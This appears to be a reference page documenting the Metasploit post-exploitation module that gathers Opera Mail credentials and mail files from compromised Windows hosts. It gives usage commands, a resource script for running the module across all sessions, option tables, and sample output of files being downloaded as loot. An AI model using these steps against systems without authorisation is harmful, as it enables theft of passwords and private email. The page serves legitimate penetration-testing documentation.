Operamail credential gatherer - Metasploit


This page contains detailed information about how to use the post/windows/gather/credentials/operamail metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
hide

Module Overview

Name: Operamail credential gatherer
Module: post/windows/gather/credentials/operamail
Source code: modules/post/windows/gather/credentials/operamail.rb
Disclosure date: -
Last modification time: 2021-09-27 12:34:07 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

PackRat is a post-exploitation module that gathers file and information artifacts from end users' systems. PackRat searches for and downloads files of interest (such as config files, and received and deleted emails) and extracts information (such as contacts and usernames and passwords), using regexp, JSON, XML, and SQLite queries. Further details can be found in the module documentation. This is a module that searches for Operamail credentials on a windows remote host.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Stability:

  • crash-safe: Module should not crash the service.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/gather/credentials/operamail

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/gather/credentials/operamail
msf post(operamail) > show options
    ... show and set options ...
msf post(operamail) > set SESSION session-id
msf post(operamail) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/gather/credentials/operamail")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

  • SESSION: The session to run this module on.

Knowledge Base

Module Description

This post-exploitation module gathers artifacts found on Operamail related folders from end users systems.

The list of available artifcts are listed within the module and can be added at anytime. Each artifacts are categorised so that users can specify a category to look for.

Verification Steps

  1. Start MSF console
  2. Get a Meterpreter session on a Windows system
  3. use post/windows/gather/credentials/operamail
  4. Set SESSION 1
  5. enter 'run' to extract credentials from all applications

Options

REGEX

Users can set their own regular expressions so that it could be applied for the credential extraction. The default is set to ^password.

VERBOSE

By default verbose is turned off. When turned on, the module will show information on files which aren't extracted and information that is not directly related to the artifact output.

STORE_LOOT

This option is turned on by default and saves the stolen artifcats/files on the local machine, this is required for also extracting credentials from files using regexp, JSON, XML, and SQLite queries.

EXTRACT_DATA

This option is turned on by defalt and will perform the data extraction using the predefined regular expression. The 'Store loot' options must be turned on in order for this to take work.

Example Run

Default Output

msf6 post(windows/gather/credentials/operamail) > run 

[*] Filtering based on these selections:  
[*] ARTIFACTS: All
[*] STORE_LOOT: true
[*] EXTRACT_CREDENTIALS_FROM_FILE: true

[*] Operamail's parent folder found
[*] Operamail's Wand.dat file found
[*] Downloading C:\Users\IEUser\AppData\Roaming\Opera Mail\Opera Mail\wand.dat
[*] Operamail Wand.dat downloaded
[+] File saved to:  /root/.msf4/loot/20210513062118_default_192.168.56.106_operamailwand.da_873247.dat

[+] File with credentials saved:  /root/.msf4/loot/20210513062118_default_192.168.56.106_EXTRACTIONwand.d_440695.dat
[*] Operamail's parent folder found
[*] Operamail's *.mbs file found
[*] Downloading C:\Users\IEUser\AppData\Local\Opera Mail\Opera Mail\mail\store\account1\2021\05\02\1.mbs
[*] Operamail 1.mbs downloaded
[+] File saved to:  /root/.msf4/loot/20210513062118_default_192.168.56.106_operamail1.mbs_724517.mbs

[+] From:"OperaDesktopTeam"
[+] File with credentials saved:  /root/.msf4/loot/20210513062119_default_192.168.56.106_EXTRACTION.mbs_258744.mbs
[*] Downloading C:\Users\IEUser\AppData\Local\Opera Mail\Opera Mail\mail\store\drafts\2.mbs
[*] Operamail 2.mbs downloaded
[+] File saved to:  /root/.msf4/loot/20210513062119_default_192.168.56.106_operamail2.mbs_057429.mbs

[+] File with credentials saved:  /root/.msf4/loot/20210513062119_default_192.168.56.106_EXTRACTION.mbs_565399.mbs
[*] Downloading C:\Users\IEUser\AppData\Local\Opera Mail\Opera Mail\mail\store\drafts\3.mbs
[*] Operamail 3.mbs downloaded
[+] File saved to:  /root/.msf4/loot/20210513062119_default_192.168.56.106_operamail3.mbs_471143.mbs

[+] File with credentials saved:  /root/.msf4/loot/20210513062120_default_192.168.56.106_EXTRACTION.mbs_391099.mbs
[*] Downloading C:\Users\IEUser\AppData\Local\Opera Mail\Opera Mail\mail\store\drafts\4.mbs
[*] Operamail 4.mbs downloaded
[+] File saved to:  /root/.msf4/loot/20210513062120_default_192.168.56.106_operamail4.mbs_468755.mbs

[+] To:************@gmail.com
[+] From:"************"<************@************.co.uk>
[+] File with credentials saved:  /root/.msf4/loot/20210513062120_default_192.168.56.106_EXTRACTION.mbs_975964.mbs
[*] Downloading C:\Users\IEUser\AppData\Local\Opera Mail\styles\m2_upgrade_1160.mbs
[*] Operamail M2_upgrade_1160.mbs downloaded
[+] File saved to:  /root/.msf4/loot/20210513062120_default_192.168.56.106_operamailm2_upgr_620846.mbs

[+] From:"OperaDesktopTeam"
[+] File with credentials saved:  /root/.msf4/loot/20210513062121_default_192.168.56.106_EXTRACTION.mbs_994734.mbs
[*] Downloading C:\Users\IEUser\AppData\Local\Opera Mail\styles\m2_welcome_message.mbs
[*] Operamail M2_welcome_message.mbs downloaded
[+] File saved to:  /root/.msf4/loot/20210513062121_default_192.168.56.106_operamailm2_welc_906380.mbs

[+] From:"OperaDesktopTeam"
[+] File with credentials saved:  /root/.msf4/loot/20210513062121_default_192.168.56.106_EXTRACTION.mbs_566934.mbs
[*] PackRat credential sweep Completed
[*] Post module execution completed

Verbose Output

msf6 post(windows/gather/credentials/operamail) > run 

[*] Filtering based on these selections:  
[*] ARTIFACTS: All
[*] STORE_LOOT: true
[*] EXTRACT_CREDENTIALS_FROM_FILE: true

[*] Starting Packrat...
[*] Operamail's parent folder found
[*] Operamail's Wand.dat file found
[*] Processing C:\Users\IEUser\AppData\Roaming\Opera Mail\Opera Mail
[*] Downloading C:\Users\IEUser\AppData\Roaming\Opera Mail\Opera Mail\wand.dat
[*] Operamail Wand.dat downloaded
[+] File saved to:  /root/.msf4/loot/20210513063651_default_192.168.56.106_operamailwand.da_186519.dat

[+] File with credentials saved:  /root/.msf4/loot/20210513063651_default_192.168.56.106_EXTRACTIONwand.d_454986.dat
[*] Operamail's parent folder found
[*] Operamail's *.mbs file found
[*] Processing C:\Users\IEUser\AppData\Local\Opera Mail\Opera Mail\mail\store\account1\2021\05\02
[*] Downloading C:\Users\IEUser\AppData\Local\Opera Mail\Opera Mail\mail\store\account1\2021\05\02\1.mbs
[*] Operamail 1.mbs downloaded
[+] File saved to:  /root/.msf4/loot/20210513063651_default_192.168.56.106_operamail1.mbs_378969.mbs

[*] searches for Email TO/FROM address
[+] From:"OperaDesktopTeam"
[+] File with credentials saved:  /root/.msf4/loot/20210513063651_default_192.168.56.106_EXTRACTION.mbs_751986.mbs
[*] Processing C:\Users\IEUser\AppData\Local\Opera Mail\Opera Mail\mail\store\drafts
[*] Downloading C:\Users\IEUser\AppData\Local\Opera Mail\Opera Mail\mail\store\drafts\2.mbs
[*] Operamail 2.mbs downloaded
[+] File saved to:  /root/.msf4/loot/20210513063651_default_192.168.56.106_operamail2.mbs_427825.mbs

[+] File with credentials saved:  /root/.msf4/loot/20210513063652_default_192.168.56.106_EXTRACTION.mbs_571426.mbs
[*] Processing C:\Users\IEUser\AppData\Local\Opera Mail\Opera Mail\mail\store\drafts
[*] Downloading C:\Users\IEUser\AppData\Local\Opera Mail\Opera Mail\mail\store\drafts\3.mbs
[*] Operamail 3.mbs downloaded
[+] File saved to:  /root/.msf4/loot/20210513063652_default_192.168.56.106_operamail3.mbs_783307.mbs

[+] File with credentials saved:  /root/.msf4/loot/20210513063652_default_192.168.56.106_EXTRACTION.mbs_473719.mbs
[*] Processing C:\Users\IEUser\AppData\Local\Opera Mail\Opera Mail\mail\store\drafts
[*] Downloading C:\Users\IEUser\AppData\Local\Opera Mail\Opera Mail\mail\store\drafts\4.mbs
[*] Operamail 4.mbs downloaded
[+] File saved to:  /root/.msf4/loot/20210513063652_default_192.168.56.106_operamail4.mbs_771393.mbs

[*] searches for Email TO/FROM address
[+] To:************@gmail.com
[*] searches for Email TO/FROM address
[+] From:"******"<************@gmail.com>
[+] File with credentials saved:  /root/.msf4/loot/20210513063652_default_192.168.56.106_EXTRACTION.mbs_090332.mbs
[*] Processing C:\Users\IEUser\AppData\Local\Opera Mail\styles
[*] Downloading C:\Users\IEUser\AppData\Local\Opera Mail\styles\m2_upgrade_1160.mbs
[*] Operamail M2_upgrade_1160.mbs downloaded
[+] File saved to:  /root/.msf4/loot/20210513063652_default_192.168.56.106_operamailm2_upgr_993450.mbs

[*] searches for Email TO/FROM address
[+] From:"OperaDesktopTeam"
[+] File with credentials saved:  /root/.msf4/loot/20210513063653_default_192.168.56.106_EXTRACTION.mbs_610156.mbs
[*] Processing C:\Users\IEUser\AppData\Local\Opera Mail\styles
[*] Downloading C:\Users\IEUser\AppData\Local\Opera Mail\styles\m2_welcome_message.mbs
[*] Operamail M2_welcome_message.mbs downloaded
[+] File saved to:  /root/.msf4/loot/20210513063653_default_192.168.56.106_operamailm2_welc_946408.mbs

[*] searches for Email TO/FROM address
[+] From:"OperaDesktopTeam"
[+] File with credentials saved:  /root/.msf4/loot/20210513063653_default_192.168.56.106_EXTRACTION.mbs_150137.mbs
[*] PackRat credential sweep Completed
[*] Post module execution completed

Go back to menu.

Msfconsole Usage

Here is how the windows/gather/credentials/operamail post exploitation module looks in the msfconsole:

msf6 > use post/windows/gather/credentials/operamail

msf6 post(windows/gather/credentials/operamail) > show info

       Name: Operamail credential gatherer
     Module: post/windows/gather/credentials/operamail
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  Kazuyoshi Maruta
  Daniel Hallsworth
  Barwar Salim M
  Z. Cliffe Schreuders

Module stability:
 crash-safe

Compatible session types:
  Meterpreter

Basic options:
  Name          Current Setting  Required  Description
  ----          ---------------  --------  -----------
  ARTIFACTS     All              no        Type of artifacts to collect (Accepted: All, chats_image, email_logs)
  EXTRACT_DATA  true             no        Extract data and stores in a separate file
  REGEX         ^password        no        Match a regular expression
  SESSION                        yes       The session to run this module on.
  STORE_LOOT    true             no        Store artifacts into loot database

Description:
  PackRat is a post-exploitation module that gathers file and 
  information artifacts from end users' systems. PackRat searches for 
  and downloads files of interest (such as config files, and received 
  and deleted emails) and extracts information (such as contacts and 
  usernames and passwords), using regexp, JSON, XML, and SQLite 
  queries. Further details can be found in the module documentation. 
  This is a module that searches for Operamail credentials on a 
  windows remote host.

Module Options

This is a complete list of options available in the windows/gather/credentials/operamail post exploitation module:

msf6 post(windows/gather/credentials/operamail) > show options

Module options (post/windows/gather/credentials/operamail):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   ARTIFACTS     All              no        Type of artifacts to collect (Accepted: All, chats_image, email_logs)
   EXTRACT_DATA  true             no        Extract data and stores in a separate file
   REGEX         ^password        no        Match a regular expression
   SESSION                        yes       The session to run this module on.
   STORE_LOOT    true             no        Store artifacts into loot database

Advanced Options

Here is a complete list of advanced options supported by the windows/gather/credentials/operamail post exploitation module:

msf6 post(windows/gather/credentials/operamail) > show advanced

Module advanced options (post/windows/gather/credentials/operamail):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions

This is a list of all post exploitation actions which the windows/gather/credentials/operamail module can do:

msf6 post(windows/gather/credentials/operamail) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the windows/gather/credentials/operamail post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/gather/credentials/operamail) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Go back to menu.

See Also

Check also the following modules related to this module:

Authors

  • Kazuyoshi Maruta
  • Daniel Hallsworth
  • Barwar Salim M
  • Z. Cliffe Schreuders

Version

This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.